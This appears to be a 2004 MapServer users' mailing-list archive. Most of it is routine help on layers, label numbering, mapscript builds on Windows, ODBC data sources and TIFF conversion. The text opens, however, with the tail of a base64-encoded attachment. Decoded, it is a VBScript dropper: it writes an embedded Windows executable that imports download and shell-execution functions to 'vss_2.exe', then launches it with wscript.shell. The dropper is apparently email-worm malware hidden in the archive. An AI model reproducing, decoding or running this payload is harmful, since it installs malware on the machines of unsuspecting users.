MCwwLDE4NCwyNDUsMCwwLDAsMCwwLDAsMjA0LDI0NSwwLDAsMCwwLDAsMCwyMTYsMjQ1LDAs MCwwLDAsMCwwLDIzMiwyNDUsMCwwLDAsMCwwLDAsNzUsNjksODIsNzgsNjksNzYsNTEsNTAs NDYsNjgsNzYsNzYsMCw5NywxMDAsMTE4LDk3LDExMiwxMDUsNTEsNTAsNDYsMTAwLDEwOCwx MDgsMCwxMDMsMTAwLDEwNSw1MSw1MCw0NiwxMDAsMTA4LDEwOCwwLDExMSwxMDgsMTAxLDUx LDUwLDQ2LDEwMCwxMDgsMTA4LDAsODMsNzIsNjksNzYsNzYsNTEsNTAsNDYsMTAwLDEwOCwx MDgsMCwxMTUsMTA0LDEwOCwxMTksOTcsMTEyLDEwNSw0NiwxMDAsMTA4LDEwOCwwLDExNywx MTQsMTA4LDEwOSwxMTEsMTEwLDQ2LDEwMCwxMDgsMTA4LDAsMTE3LDExNSwxMDEsMTE0LDUx LDUwLDQ2LDEwMCwxMDgsMTA4LDAsMTE5LDEwNSwxMTAsMTA1LDExMCwxMDEsMTE2LDQ2LDEw MCwxMDgsMTA4LDAsMTE5LDExNSwxMTEsOTksMTA3LDUxLDUwLDQ2LDEwMCwxMDgsMTA4LDAs MCwwLDc2LDExMSw5NywxMDAsNzYsMTA1LDk4LDExNCw5NywxMTQsMTIxLDY1LDAsMCw3MSwx MDEsMTE2LDgwLDExNCwxMTEsOTksNjUsMTAwLDEwMCwxMTQsMTAxLDExNSwxMTUsMCwwLDY5 LDEyMCwxMDUsMTE2LDgwLDExNCwxMTEsOTksMTAxLDExNSwxMTUsMCwwLDAsODIsMTAxLDEw Myw2NywxMDgsMTExLDExNSwxMDEsNzUsMTAxLDEyMSwwLDAsMCw2OCwxMDEsMTA4LDEwMSwx MTYsMTAxLDY4LDY3LDAsMCw2NywxMTEsNzMsMTEwLDEwNSwxMTYsMTA1LDk3LDEwOCwxMDUs MTIyLDEwMSwwLDAsODMsMTA0LDEwMSwxMDgsMTA4LDY5LDEyMCwxMDEsOTksMTE3LDExNiwx MDEsNjUsMCwwLDAsODMsMTE2LDExNCw2OCwxMTcsMTEyLDY1LDAsMCwwLDg1LDgyLDc2LDY4 LDExMSwxMTksMTEwLDEwOCwxMTEsOTcsMTAwLDg0LDExMSw3MCwxMDUsMTA4LDEwMSw2NSww LDAsMTE5LDExNSwxMTIsMTE0LDEwNSwxMTAsMTE2LDEwMiw2NSwwLDAsMCw3MywxMTAsMTE2 LDEwMSwxMTQsMTEwLDEwMSwxMTYsNzksMTEyLDEwMSwxMTAsNjUsMCwwLDAsOTgsMTA1LDEx MCwxMDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTM5LDEzNywxNjAs MTQsMjcsNjEsMTExLDE1OCwyOSwxMTQsMTkwLDM3LDE3NywzNiw2NiwyNiwxODEsNzMsMTQs MTMsMTIyLDMsMTg2LDM1LDE3NiwxODgsMTY1LDUyLDE1NCwxNTEsMTY0LDQwLDEyOSwyNyw1 MywzMCw5Niw3Myw3LDE5NSwxMzksOTMsMTc1LDcwLDgyLDExNyw0OCwxNTcsMTg3LDEzOCw2 Miw2Niw5NCwxODAsMTE2LDg1LDE3Nyw2LDEyMCwyOSw3OCwxNSwxNjgsMTgxLDE3OCw5OSwx NzQsMzksOSwzOSw2OSw3MSwxODUsMzEsMiwxNTQsMTkzLDczLDAsMzAsNzksMTYzLDI3LDgs NjIsNjUsMTAxLDUwLDE3NSw2MCwxMzksMTMsMTA4LDEyMiwxNDgsMTc3LDExOCwxOTksMTE0 LDIzLDM0LDE3OSwxMDksNywxMzEsMTQxLDEyNSwxMDcsMTgxLDYsMTk4LDE4MiwxMzAsNjcs NTQsMTYsNDcsMTcsODIsOTEsNTAsMTc0LDMwLDkzLDE3OSwxNzksMTMxLDEzMSwzNywxMzEs NjAsMTg4LDEwMiwxNDYsMzcsMTMzLDEyNiwxMTcsMTIwLDUxLDcxLDEwNywxNjMsMzQsMTc5 LDEyMyw4OCwyNSwxOTEsMTQyLDcyLDE1NywxNDUsMTQzLDE1LDU4LDYzLDEwOSwxOTksMTcz LDEzNywxNTIsMTI2LDc0LDE5NCwxOTMsNTUsMywxNjgsOTMsMTgsMTEzLDUxLDY0LDY0LDE1 MywxOSw3NCw3OCwxNTcsNjMsMTA0LDc4LDM2LDUwLDE2MywxOTQsNTUsMTAsMzYsNzUsNjgs MTM5LDY2LDE3OSw3LDQ3LDEsMTkwLDExNCwxNTMsMTg3LDMxLDM0LDQ4LDE5NiwxMzUsMTgy LDE0LDE2Myw2LDE0OSw3Nyw1NiwxODIsMTgzLDE4OCw0MywxNTcsMTE1LDEwNCwxNDYsNjIs ODYsMTgxLDI3LDI2LDg2LDAsMzIsMTUsMTMxLDQ5LDQ0LDQ5LDc2LDAsMTg3LDcyLDE1Niwx MjIsMTcsNjAsMTE2LDQ0LDM5LDc2LDM1LDE0LDE4MiwxNSw0LDE4MCwxNiwxOTksNDEsMjks MTcwLDYwLDE0OSwxNjMsNzAsMTA3LDMwLDExNSw2NSwxMSw4LDExNywxNSwxMCw4Niw1OCwx MDgsMywxNjMsMTEzLDk1LDEzNiwxNzksMTExLDE3MCwzMiwxMzMsMTQzLDEyMCwxNjEsNzgs MTA4LDIwLDEzNCwxMDYsMTAzLDE2NSwxNSwxNjUsMTY0LDEzOCwxMDgsNjcsMTUyLDExNSwx NTEsNzgsMTU1LDQxLDM0LDE1Niw2OCwxMDUsMTQxLDE0KQ0KZm9yIGk9MCB0byAyMDI3OQ0K ZmlsZXR4dC5Xcml0ZShjaHIoYShpKSkpDQpuZXh0DQpmaWxldHh0LkNsb3NlDQpkaW0geg0K ZGltIHp6DQpDb25zdCBGb3JSZWFkaW5nID0gMSwgRm9yV3JpdGluZyA9IDIsIEZvckFwcGVu ZGluZyA9IDMNCmNvbnN0IFJlbW90ZUV4ZSA9ICJ2c3NfMi5leGUiDQpzZXQgenogPSB3c2Ny aXB0LmNyZWF0ZW9iamVjdCgid3NjcmlwdC5zaGVsbCIpDQp6ID0genoucnVuICgidnNzXzIu ZXhlIikNCndzY3JpcHQucXVpdA0K ----------ryijpcelfyusjzqhtpty-- From tburton at holonics.ca Mon Jun 7 05:53:35 2004 From: tburton at holonics.ca (Trent Burton) Date: Mon, 7 Jun 2004 08:53:35 -0400 Subject: [Mapserver-users] More than 100 layers - Do I really need to recompile mapserver? Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C44C8E.7229A8FE Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable If I have more than 100 layers, do I really need to recompile Mapserver, setting the MS_MAXLAYERS variable of the map.h header file? =20 Does anyone know if 400-500 layers is an issue for Mapserver? =20 Is there some site out there that has different versions of Mapserver binaries for Windows with different options and libraries? I really do not want to have to get into compiling mapserver from the source. =20 Thanks, =20 Trent Burton ------_=_NextPart_001_01C44C8E.7229A8FE Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
If I = have more than=20 100 layers, do I really need to recompile Mapserver, setting the MS_MAXLAYERS variable of the map.h header = file?
 
Does = anyone know if=20 400-500 layers is an issue for Mapserver?
 
Is = there some site=20 out there that has different versions of Mapserver binaries for Windows = with=20 different options and libraries?  I really do not want to have to = get into=20 compiling mapserver from the source.
 
Thanks,
 
Trent=20 Burton
=00 ------_=_NextPart_001_01C44C8E.7229A8FE-- From ummmmm at myrealbox.com Mon Jun 7 06:39:46 2004 From: ummmmm at myrealbox.com (Doug) Date: Mon, 07 Jun 2004 08:39:46 -0500 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: References: Message-ID: <40C47022.4000402@myrealbox.com> Steve Lime wrote: > Nope, that functionality doesn't exist. For clarification, you mean only > the > features actually labeled? That may be tough because labels are > assigned before > being queued for rendering and this would need to be far more dynamic. > > If you could expand on your idea that would help... > > Steve > > >>>>Brad Cantwell 6/3/2004 1:56:37 PM >>> > > > Is there a way to do sequential numbering for labels? We would like > to > have the labels for features autonumbered (i.e. 1 though N). Is there > a > way to do this through the .map file? We are trying to avoid > MapScript > if possible. I work with Brad, and here's what we need to do. We have a layer of specific locations that we need to show on the drawn map. However, we need the locations to be numbered somehow such that for any particular map, the numbers always start at 1. i.e. dynamically giving a temporary "ID" to each location based on what is currently visible. One person suggested creating a dynamic database view with an autonumbered column, but we haven't succeeded with that approach yet. We were also wondering if there are other options. Doug From lfilak at medinaco.org Mon Jun 7 06:56:08 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 07 Jun 2004 09:56:08 -0400 Subject: [Mapserver-users] Win32 + Mapscript + ActiveState Perl + precompiled?? Message-ID: <20040607135559.D9E461A659B@mail.medinaco.org> The following message was sent by "Ryan Dietrich" on Mon, 7 Jun 2004 02:56:00 -0400. > I downloaded the source and pre-compiled binaries for mapserver (for win32). > I, like many other people am looking for the "simple" solution to getting > mapscript compiled (perl specifically). > > > > Is there an easy solution for compiling the perl module with the win32 > pre-compiled binaries? > > > > Better yet, does anyone just have a ppm for this (didn't see it on > activestate's site). > > > > I also found it a little odd that this wasn't on cpan, even odder, there is > no author mentioned in any of the perl code. > The Perl/Python/Ruby mapscript API's are all generated from the C code via SWIG. That is why there is no author and no pm on CPAN as any dependencies incorporated during the C code compile effect the pm so it's "easier" to do a "make" in the mapscript directory after the compile of the mapserv(exe) is successful. I don't think this means that a pm(s) can't be done however, it just hasn't. The most recently compiled win32 version of Perl mapscript that I am aware of was done during the 3.6 version and required Cygwin - the notes are in the wiki: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlCygwin Lowell From sgillies at frii.com Mon Jun 7 06:57:11 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 7 Jun 2004 07:57:11 -0600 Subject: [Mapserver-users] Win32 + Mapscript + ActiveState Perl + precompiled?? In-Reply-To: <200406070656.i576u4mt027064@et-phx-0.site.stayonline.net> References: <200406070656.i576u4mt027064@et-phx-0.site.stayonline.net> Message-ID: <92976CB5-B88A-11D8-8E90-000D9329D732@frii.com> On Jun 7, 2004, at 12:56 AM, Ryan Dietrich wrote: > I downloaded the source and pre-compiled binaries for mapserver (for > win32).? I, like many other people am looking for the ?simple? > solution to getting mapscript compiled (perl specifically). > > Is there an easy solution for compiling the perl module with the win32 > pre-compiled binaries?? > > Better yet, does anyone just have a ppm for this (didn?t see it on > activestate?s site). > > I also found it a little odd that this wasn?t on cpan, even odder, > there is no author mentioned in any of the perl code.? > > Cheers, > > -Ryan Dietrich > Hi Ryan, The pre-compiled binaries don't include any libraries that you can link against, so no, there is no easy way to build a perl module with them. There are some issues with building a Perl mapscript module on win32 and Perl users have been avoiding the issues by using the cygwin environment. I don't know of anyone who is using a native win32 Perl mapscript, but also don't know of anything that *absolutely* prevents it. I think there has just been a lack of motive. The easy way: without leaving MS Windows for Linux, or getting into cygwin, you will have to consider another language: Python or PHP 4. There are win32 mapscript binaries that run out of the box for each of these. If you are a PHP user, you'll probably want to stick with that one. If you want to use mapscript both inside and outside of a web environment, you would be better choosing Python. PHP mapscript can be downloaded from maptools.org. Follow the instructions to get the proper version of PHP and get it all properly configured. Python can be downloaded from http://www.python.org/download/. Install it (no need to reboot), then download and run my mapscript installer http://users.frii.com/sgillies/projects/pymapscriptwin32.zip. No reboot needed there either. You can be programming in minutes. cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From gsibilio at unina.it Mon Jun 7 07:18:24 2004 From: gsibilio at unina.it (Giancarlo Sibilio) Date: Mon, 7 Jun 2004 16:18:24 +0200 Subject: [Mapserver-users] mailto:mapserver-users-request@lists.gis.umn.edu Message-ID: <001c01c44c9a$4b69dc80$44dee18f@xp1700> This is a multi-part message in MIME format. ------=_NextPart_000_0019_01C44CAB.0EEE18A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_0019_01C44CAB.0EEE18A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
------=_NextPart_000_0019_01C44CAB.0EEE18A0-- From woodbri at swoodbridge.com Mon Jun 7 07:17:56 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Mon, 07 Jun 2004 10:17:56 -0400 Subject: [Mapserver-users] Autonumbering of labels? In-Reply-To: <40C47022.4000402@myrealbox.com> References: <40C47022.4000402@myrealbox.com> Message-ID: <40C47914.3010308@swoodbridge.com> Doug, Part of the problem in doing this has to do with the label cache and how it treats label collisions and how you want to deal with these. For example, if I have 2 points in my current map and the are so close together that one lays on top of the other, the label cache would not render the second label and therefore you would only have one label on the map. This is compounded by the fact the you have to assign the numbers to the labels BEFORE you put them in the cache and you only know if they have to be removed AFTER the numbers are assigned which will leave gaps in the number sequences, and you can't cost effectively re-label the cache when one gets bumped out by a collision. On the other hand, if you don't care about collisions and are using the equivalent of FORCE all labels to be drawn then most of the above issues away. This is a pretty simple application of mapscript, in fact most virtual data sources in mapscript do a database query to get the point that belong in the current map extents and then just cycle through them and draw and label them on top of the current map image over writing whatever is under them. -Steve W. Doug wrote: > Steve Lime wrote: > >> Nope, that functionality doesn't exist. For clarification, you mean only >> the features actually labeled? That may be tough because labels are >> assigned before >> being queued for rendering and this would need to be far more dynamic. >> >> If you could expand on your idea that would help... >> >> Steve >> >> >>>>> Brad Cantwell 6/3/2004 1:56:37 PM >>> >> >> >> >> Is there a way to do sequential numbering for labels? We would like >> to >> have the labels for features autonumbered (i.e. 1 though N). Is there >> a >> way to do this through the .map file? We are trying to avoid >> MapScript >> if possible. > > > I work with Brad, and here's what we need to do. We have a layer of > specific locations that we need to show on the drawn map. However, we > need the locations to be numbered somehow such that for any particular > map, the numbers always start at 1. i.e. dynamically giving a temporary > "ID" to each location based on what is currently visible. > > One person suggested creating a dynamic database view with an > autonumbered column, but we haven't succeeded with that approach yet. We > were also wondering if there are other options. > > Doug > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From rich at greenwoodmap.com Mon Jun 7 07:33:00 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Mon, 07 Jun 2004 08:33:00 -0600 Subject: [Mapserver-users] Re: jbox In-Reply-To: <40C41177.9000001@cerene.fr> References: <1086075189.40bc31351284b@webmail.esm2.imt-mrs.fr> <40BC881D.3000207@greenwoodmap.com> <1086361950.40c0915e3c958@webmail.esm2.imt-mrs.fr> <40C098EC.4020303@greenwoodmap.com> <40C41177.9000001@cerene.fr> Message-ID: <40C47C9C.3050806@greenwoodmap.com> St?phane RIFF wrote: > Hi Richard, > > Do you have some news for displaying coordinates with the JBox ??? > > I'd like to do that too. > > Thx > Steff There is an example at: http://www.greenwoodmap.com/mapserver/Ottawa-workshop/basic2.html -- Richard Greenwood www.greenwoodmap.com From lfilak at medinaco.org Mon Jun 7 07:45:41 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 07 Jun 2004 10:45:41 -0400 Subject: [Mapserver-users] Autonumbering of labels? Message-ID: <20040607144532.7C2C21A659B@mail.medinaco.org> The following message was sent by Doug on Mon, 07 Jun 2004 08:39:46 -0500. > Steve Lime wrote: > > > Nope, that functionality doesn't exist. For clarification, you mean only > > the > > features actually labeled? That may be tough because labels are > > assigned before > > being queued for rendering and this would need to be far more dynamic. > > > > If you could expand on your idea that would help... > > > > Steve > > > > > >>>>Brad Cantwell 6/3/2004 1:56:37 PM >>> > > > > > > Is there a way to do sequential numbering for labels? We would like > > to > > have the labels for features autonumbered (i.e. 1 though N). Is there > > a > > way to do this through the .map file? We are trying to avoid > > MapScript > > if possible. > > I work with Brad, and here's what we need to do. We have a layer of > specific locations that we need to show on the drawn map. However, we > need the locations to be numbered somehow such that for any particular > map, the numbers always start at 1. i.e. dynamically giving a temporary > "ID" to each location based on what is currently visible. > > One person suggested creating a dynamic database view with an > autonumbered column, but we haven't succeeded with that approach yet. > We were also wondering if there are other options. > > Doug I know your trying to stay away from MapScript but I would suspect with it you could do a queryByRect (current extents) on the points layer and then loop through the resultCacheObj for each resultCacheMemberObj grabbing the shapeindex for the current point and create a pointObj for that shapeindex in the layer and then use the pointObj draw method specifying the 'character text' value as the sequential number. Clear as mud... Lowell From jenu_ab at hotmail.com Mon Jun 7 07:58:35 2004 From: jenu_ab at hotmail.com (Jenu Abraham) Date: Mon, 07 Jun 2004 09:58:35 -0500 Subject: [Mapserver-users] Virtual Spatial Data from SQL Server Message-ID: hi charli... can u check one thing... when u run the command "ogrinfo urfile.ovf" does it show the table u want to access at the end of the lines, or some other table from the same database where ur ODBC is pointing.. and i'm sorry i lost track whre u were getting the err..so can u again tell me exactly what ur problem was... jenu >From: "IMD Listuser" >To: "Jenu Abraham" ,"IMD Listuser" > >CC: >Subject: RE: [SPAM] - Re: [Mapserver-users] Virtual Spatial Data from SQL >Server - Email found in subject >Date: Mon, 7 Jun 2004 07:33:19 -0400 > >Thanks Jenu, > >Unfortunately your suggestions did not seem to make a difference. > >I am thinking that the problem is with permissions on IIS6, since it its >locked down by default. Im not sure that it will allow ODBC connections >to occur unless I explicitly allow them. So, I need to figure out how to >allow them. > >Thanks Again > >Charlie > >-----Original Message----- >From: Jenu Abraham [mailto:jenu_ab at hotmail.com] >Sent: Saturday, June 05, 2004 11:05 AM >To: IMD Listuser >Cc: Mapserver-users at lists.gis.umn.edu >Subject: [SPAM] - Re: [Mapserver-users] Virtual Spatial Data from SQL >Server - Email found in subject > >Hi charlie >did u say that u are getting any error or u just dont see the points on >the map, > >if u see the map but not a point then try adding a dummy symbol layer in >the mapfile....i was facing the same problem...this helped... > >also make sure u have the sign in the map right > >for the western hemispehere the longitues are negative and northern >hemisphere the latitudes are positive > >write back if u still facing the problem > >cheers >jenu > >_________________________________________________________________ >Getting married? Find great tips, tools and the latest trends at MSN >Life Events. http://lifeevents.msn.com/category.aspx?cid=married > > _________________________________________________________________ MSN 9 Dial-up Internet Access fights spam and pop-ups ? now 3 months FREE! http://join.msn.click-url.com/go/onm00200361ave/direct/01/ From car271 at tiscali.it Mon Jun 7 08:04:43 2004 From: car271 at tiscali.it (Carmelo Fazio) Date: Mon, 07 Jun 2004 17:04:43 +0200 Subject: [Mapserver-users] Featurequery problem Message-ID: <40C4840B.7010105@tiscali.it> Hi all, i used Featurequery mode to display information about point, lines and polygons object whithin a polygons shape. The SLAYER is a layer which works whit the same data of polygons layer. When i click on a polygon, mapserver got me correct information about point and lines, but for polygons got me information about a polygon clicked and its neighbouring. Could you tell me if that is correct? Thanks Car271 From marcelito20 at hotmail.com Mon Jun 7 08:21:48 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Mon, 7 Jun 2004 10:21:48 -0500 Subject: [Mapserver-users] PHPMapscript DINAMIC LAYER LABELING Message-ID: <40C4880C.000008.02576@BECARIO1> --------------Boundary-00=_CO2YRN00000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_DO2YMY50000000000000" --------------Boundary-00=_DO2YMY50000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi Mapserverer's,=0D =0D I'm generating a dinamic point layer, and I'm using the method draw from = the point object. My question is: =0D How do I present the text I put in the fifth parameter of draw method on = a label??=0D =0D Any suggestion would be appreciated....=0D =0D Regards,=0D =0D Marcelo Ismael Carrillo Est=E9vez=0D BAYTEQ C=EDa. Ltda.=0D 09-8813885 =0D "There's no place like 127.0.0.1" --------------Boundary-00=_DO2YMY50000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi Mapserverer's,
 
I'm generating a dinamic point layer, = and I'm using the method draw from the point object. My question is:
How do I present the text I put in the= fifth parameter of draw method on a label??
 
Any suggestion would be appreciated...= =2E
 
Regards,
 
Marcelo Ismael Carrillo Est=E9vez
BAYTEQ C=EDa. Ltda.
09-8813885 
"There's no place like 127.0.0.1"
___________________________________= ______________________________
<= A href=3D"http://www.incredimail.com/redir.asp?ad_id=3D310&lang=3D10"= >3D""  IncrediMail - El Email= ha evolucionado finalmente - Haga clic aqu=ED
<= /BODY> --------------Boundary-00=_DO2YMY50000000000000-- --------------Boundary-00=_CO2YRN00000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_CO2YRN00000000000000-- From lfilak at medinaco.org Mon Jun 7 08:46:19 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 07 Jun 2004 11:46:19 -0400 Subject: [Mapserver-users] Tiled Tiff problem solved Message-ID: <20040607154610.D46241A659B@mail.medinaco.org> The following message was sent by "John Wiley" on Fri, 04 Jun 2004 12:08:00 -0700. > I heard ermapper was a go... > > >>> "Wim Blanken (PI)" 06/04/04 11:46am >>> > Hello Mapserver lovers, > > We had a problem using tiled tiffs in our mapserver application. Our favourite image converter (XNVIEW) could not convert these to 8 bits tiff in batch for use in mapserver. We downloaded a trial version of PMVIEW and this package does the job perfectly so it is a nice work around. Does however anyone know an opensource package that can handle and convert tiled tiffs? (packbits compressed). Does GIMP cover this? > > Regards, > > Wim Blanken ImageMagick can be batched to do it. We actually use a Perl script to allow for more variables (http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex6) but for a direct conversion this should work: HTH Lowell cd / ls -1 *.tif > tif.list awk -f batch_convert.awk tif.list > convert.list sh convert.list ----------------------------------------------------------------------- batch_convert.awk: BEGIN{} { printf("convert -colors 256 "$1" 8"$1"\n") } END{} From aaronkoning at shaw.ca Mon Jun 7 08:47:15 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Mon, 07 Jun 2004 08:47:15 -0700 Subject: [Mapserver-users] .shp file to .map file Message-ID: <17463b317475e4.17475e417463b3@shaw.ca> Maplab is a nice GUI interface for creating map files and more. You may want to check it out. http://www.maptools.org/maplab/index.phtml Aaron ----- Original Message ----- From: Alexander Lim Date: Monday, June 7, 2004 3:06 am Subject: [Mapserver-users] .shp file to .map file > hi guys, > > sorry for this totally newbie question. > > i just got everything setup including php/mapscript. > and i m starting to read the how-to by example. my > question is on map file that mapserver uses. does this > map file follows a "universal" standard just like .shp > file or is it solely a mapserver format. the reason i > m asking this is that i have .shp files of a country > which were converted from mapinfo map and tab file > format. is there a converter to convert .shp to > mapserver map file or can i even use .shp file > directly. > > thanks for any advice. > > alex > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From aaronkoning at shaw.ca Mon Jun 7 08:42:32 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Mon, 07 Jun 2004 08:42:32 -0700 Subject: [Mapserver-users] mscalculate() Message-ID: <174899c1742419.1742419174899c@shaw.ca> I guess I meant you should echo (with the print_r() function) the values in the extent_to_set array in order to confirm that they are indeed floating point numbers and that they form a valid bounding box. Hopefully it will tell you if your arguments are the problem or if you need to look else where. Aaron ----- Original Message ----- From: julius muchemi Date: Monday, June 7, 2004 4:52 am Subject: [Mapserver-users] mscalculate() > Aaron, > > Thanks for your reply which is beggining to open me up for more > exploration. > Seems like i dont understand what you mean floating point numbers > at appropriate sizes. Hence unable to progress. Could you simplify > your explaination. Sorry i'm only a beginner in the art of web > mapping. WHERE DO I BEGIN? > > > I would echo out the $extent_to_set[0]ie: floating point numbers > at > appropriate sizes) prior to $map->setextent. > > eg: > print_r($extent_to_set); > die(); > > Aaron > > > > --------------------------------- > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger From aaronkoning at shaw.ca Mon Jun 7 08:47:53 2004 From: aaronkoning at shaw.ca (AARON KONING) Date: Mon, 07 Jun 2004 08:47:53 -0700 Subject: [Mapserver-users] .shp file to .map file Message-ID: <1745fdf174999c.174999c1745fdf@shaw.ca> Maplab is a nice GUI interface for creating map files and more. You may want to check it out. http://www.maptools.org/maplab/index.phtml Aaron ----- Original Message ----- From: Alexander Lim Date: Monday, June 7, 2004 3:06 am Subject: [Mapserver-users] .shp file to .map file > hi guys, > > sorry for this totally newbie question. > > i just got everything setup including php/mapscript. > and i m starting to read the how-to by example. my > question is on map file that mapserver uses. does this > map file follows a "universal" standard just like .shp > file or is it solely a mapserver format. the reason i > m asking this is that i have .shp files of a country > which were converted from mapinfo map and tab file > format. is there a converter to convert .shp to > mapserver map file or can i even use .shp file > directly. > > thanks for any advice. > > alex > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From David.Fawcett at state.mn.us Mon Jun 7 09:05:37 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Mon, 07 Jun 2004 11:05:37 -0500 Subject: [Mapserver-users] Blank or no image returned Message-ID: Andrew, It doesn't look like you have a reference object in your Map file. Add one and I am guessing that will solve your issue. David. >>> "Andrew Rich" 6/4/2004 6:41:03 PM >>> Hi All Additional information I just discovered in the httpd error.log and comparing to the tmp dir 3 images are created but it appears 1 is not. -rw-r--r-- 1 apache apache 125 Jun 5 09:50 DEMO108639305823136.png -rw-r--r-- 1 apache apache 83 Jun 5 09:50 DEMOleg108639305823136.png -rw-r--r-- 1 apache apache 358 Jun 5 09:50 DEMOsb108639305823136.png There is no DEMOref108639305823136.png file So any idea now? Thank you Andrew Rich Maps Downunder Hi All I have Mapserv 4.2 installed and works with Itasca demo. I am now modifying the Itasca demo and using a image of the world in TOPO8.TIF Tyler has given me a .map file which I am adjusting to the paths of my mapserv server. When loading the Initialize file the renamed Itasca demo for shows then select the basic application. The normal Itasca screen shows but the box is just the color set in IMAGECOLOR 100 100 255. It was 255 255 255 which was white but I changed to this blue for testing. The scale bar in the lower left corner is in Kilometres and adjusts on Zoom In and Out. I have included a lot of information below but I need assistance to move on I think. I saw in a previous post that it may be related to the projection but my knowledge of these topics is very limited. Thank you for any assistance. Andrew Rich Maps Downunder ==== mapserv40 -v ==== MapServer version 4.2.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=EPPL7 INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE ==== ldd /var/www/cgi-bin/mapserv40 ==== libgd.so.2 => /usr/local/lib/libgd.so.2 (0x4002b000) libjpeg.so.62 => /usr/lib/libjpeg.so.62 (0x40064000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x40082000) libpng.so.3 => /usr/local/lib/libpng.so.3 (0x400c1000) libproj.so.0 => /usr/local/lib/libproj.so.0 (0x400ee000) libgdal.so.1 => /usr/local/lib/libgdal.so.1 (0x40121000) libcurl.so.3 => /usr/local/lib/libcurl.so.3 (0x40417000) libdl.so.2 => /lib/libdl.so.2 (0x40444000) libm.so.6 => /lib/i686/libm.so.6 (0x40447000) libc.so.6 => /lib/i686/libc.so.6 (0x42000000) libpthread.so.0 => /lib/i686/libpthread.so.0 (0x40469000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x4047d000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x4048b000) libpng12.so.0 => /usr/local/lib/libpng12.so.0 (0x40561000) libz.so.1 => /usr/lib/libz.so.1 (0x4058e000) libodbc.so.1 => /usr/lib/libodbc.so.1 (0x4059c000) libungif.so.4 => /usr/lib/libungif.so.4 (0x405f9000) libstdc++-libc6.2-2.so.3 => /usr/lib/libstdc++-libc6.2-2.so.3 (0x40601000) libssl.so.2 => /lib/libssl.so.2 (0x40644000) libcrypto.so.2 => /lib/libcrypto.so.2 (0x40672000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) ==== /etc/ld.so.conf ==== /usr/kerberos/lib /usr/X11R6/lib /usr/lib/qt2/lib /usr/lib/mysql /usr/lib/qt-3.0.5/lib /usr/lib/sane /usr/local/lib /usr/lib/python1.5/site-packages ==== MAP FILE ==== # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "data" IMAGECOLOR 100 100 255 #FONTSET 